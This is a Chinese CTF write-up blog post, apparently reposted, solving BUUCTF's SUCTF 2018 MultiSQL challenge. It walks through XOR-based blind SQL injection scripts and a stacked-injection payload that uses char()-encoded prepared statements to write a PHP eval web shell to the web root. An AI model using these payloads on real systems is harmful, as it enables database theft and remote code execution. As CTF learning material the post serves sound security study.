博客
关于我
BUUCTF:[SUCTF 2018]MultiSQL --- 堆叠注入 -- 预处理-- 编码,10进制,16进制。
阅读量:404 次
发布时间:2019-03-05

本文共 3941 字,大约阅读时间需要 13 分钟。

目录:

参考:

一、自己做:

这里试addslash来的

在这里插入图片描述

用户信息中,把反斜线去掉展示的

在这里插入图片描述

在注册的用户名进行测试,

将 or , by 空格| 替换成为@
union select or 都过滤了
,然后在尝试 异或^
substr也被过滤了,然后尝试mid试可以的,
但是这个不好使啊2^(if(ascii(mid(user(),1,1))>0,0,1))。注册页面不好使,然后就看WP了

二、 学到的&&不足:

  1. 有时候python脚本跑sql注入的题的时候要带上cookie。

    我这样跑,总是爆500 。见下面的

  2. 学到了sql注入的预处理命令。?id=2;set @sql=char(12,324,23,23,); prepare query from @sql; execute query;

  3. 异或的一点是,:怎么发现的 可以进行堆叠注入的啊,,

  4. 如果一些关键词被那啥了,可以进行编码绕过什么的,比如以前的那些16进制绕过,还有这个10进制绕过

url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),1,1))>0)'''res = requests.get(url=url)print(res.url)print(res.status_code)print(res.text)

带上cookie后才200了

url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),1,1))>0)'''cookie = {   "PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"}res = requests.get(url=url,cookies = cookie)print(res.url)print(res.status_code)print(res.text)

三、学习WP:

WP:2^(if(ascii(mid(user(),1,1))>0,0,1))。这个行,但是不是在注册页面

在这里插入图片描述

可以修改id值,然后就改变页面,
我们就注入这里

用了这个if语句试可以的

在这里插入图片描述
不用像WP一样加上if,就我们正常的boll盲注就可以,

在这里插入图片描述

1^进行异或的化,正确就是0,不正确才是0,异或后是1.,这时,name会出现admin。
正确的时候是1,异或后是0,name中不是admin,是空。那么我们python脚本抓的时候,就可以抓admin这个字样

然后照着这个思想写了个python脚本

for i in range(1,15):    for j in range(50,155):        url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),{},1))={})'''.format(i,j)        cookie = {   "PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"}        res = requests.get(url=url,cookies = cookie) # 注意这里要带上cookie才行,不然跑脚本的化,是500        #print(res.url)        print(res.status_code)        #print(res.text)        content = re.findall('

.*

',res.text,re.M|re.I) # findall返回的是一个列表 #print(content) if ("admin" not in content[0]): # 这里用下标取出元素 database = database+chr(j) print(database) break

能跑出来数据库,我没跑完,看WP说flag不在这里面

在这里插入图片描述

然后测试么,过滤了很多东西:

在注册的用户名进行测试,

将 or , by 空格| 替换成为@
union select or 都过滤了
,然后在尝试 异或^
substr也被过滤了,然后尝试mid试可以的,
但是这个不好使啊2^(if(ascii(mid(user(),1,1))>0,0,1))。注册页面不好使,然后就看WP了

堆叠注入,

然后 fuzz测试后发现过滤了unionselect&|,过滤了select然后存在堆叠注入的可以使用预处理注入,尝试写入shell,因为过滤了select等字符,使用char()绕过,需要执行的语句

select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';

脚本使用10进制:

str = "select '
' into outfile '/var/www/html/favicon/shell.php';"len_str = len(str)for i in range(0,len_str): if i==0: print('char(%s' %ord(str[i]),end='') else: print(',%s' %ord(str[i]),end='')print(')')

结果:

char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)

自己的脚本:

str = "select '
' into outfile '/var/www/html/favicon/shell.php';"len_str = len(str)print('char(',end='')for i in str: print('%s,' %ord(i),end='') # 最后会多一个,手动删去就好print(')')

结果:

char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59,)

然后

payload:

?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

然后访问那个目录下的shell.php

在这里插入图片描述

转载地址:http://ykgg.baihongyu.com/

你可能感兴趣的文章
MySQL InnoDB 三大文件日志,看完秒懂
查看>>
Mysql InnoDB 数据更新导致锁表
查看>>
Mysql Innodb 锁机制
查看>>
MySQL InnoDB中意向锁的作用及原理探
查看>>
MySQL InnoDB事务隔离级别与锁机制深入解析
查看>>
Mysql InnoDB存储引擎 —— 数据页
查看>>
Mysql InnoDB存储引擎中的checkpoint技术
查看>>
Mysql InnoDB存储引擎中缓冲池Buffer Pool、Redo Log、Bin Log、Undo Log、Channge Buffer
查看>>
MySQL InnoDB引擎的锁机制详解
查看>>
Mysql INNODB引擎行锁的3种算法 Record Lock Next-Key Lock Grap Lock
查看>>
mysql InnoDB数据存储引擎 的B+树索引原理
查看>>
mysql innodb通过使用mvcc来实现可重复读
查看>>
mysql insert update 同时执行_MySQL进阶三板斧(三)看清“触发器 (Trigger)”的真实面目...
查看>>
mysql interval显示条件值_MySQL INTERVAL关键字可以使用哪些不同的单位值?
查看>>
Mysql join原理
查看>>
MySQL Join算法与调优白皮书(二)
查看>>
Mysql order by与limit混用陷阱
查看>>
Mysql order by与limit混用陷阱
查看>>
mysql order by多个字段排序
查看>>
MySQL Order By实现原理分析和Filesort优化
查看>>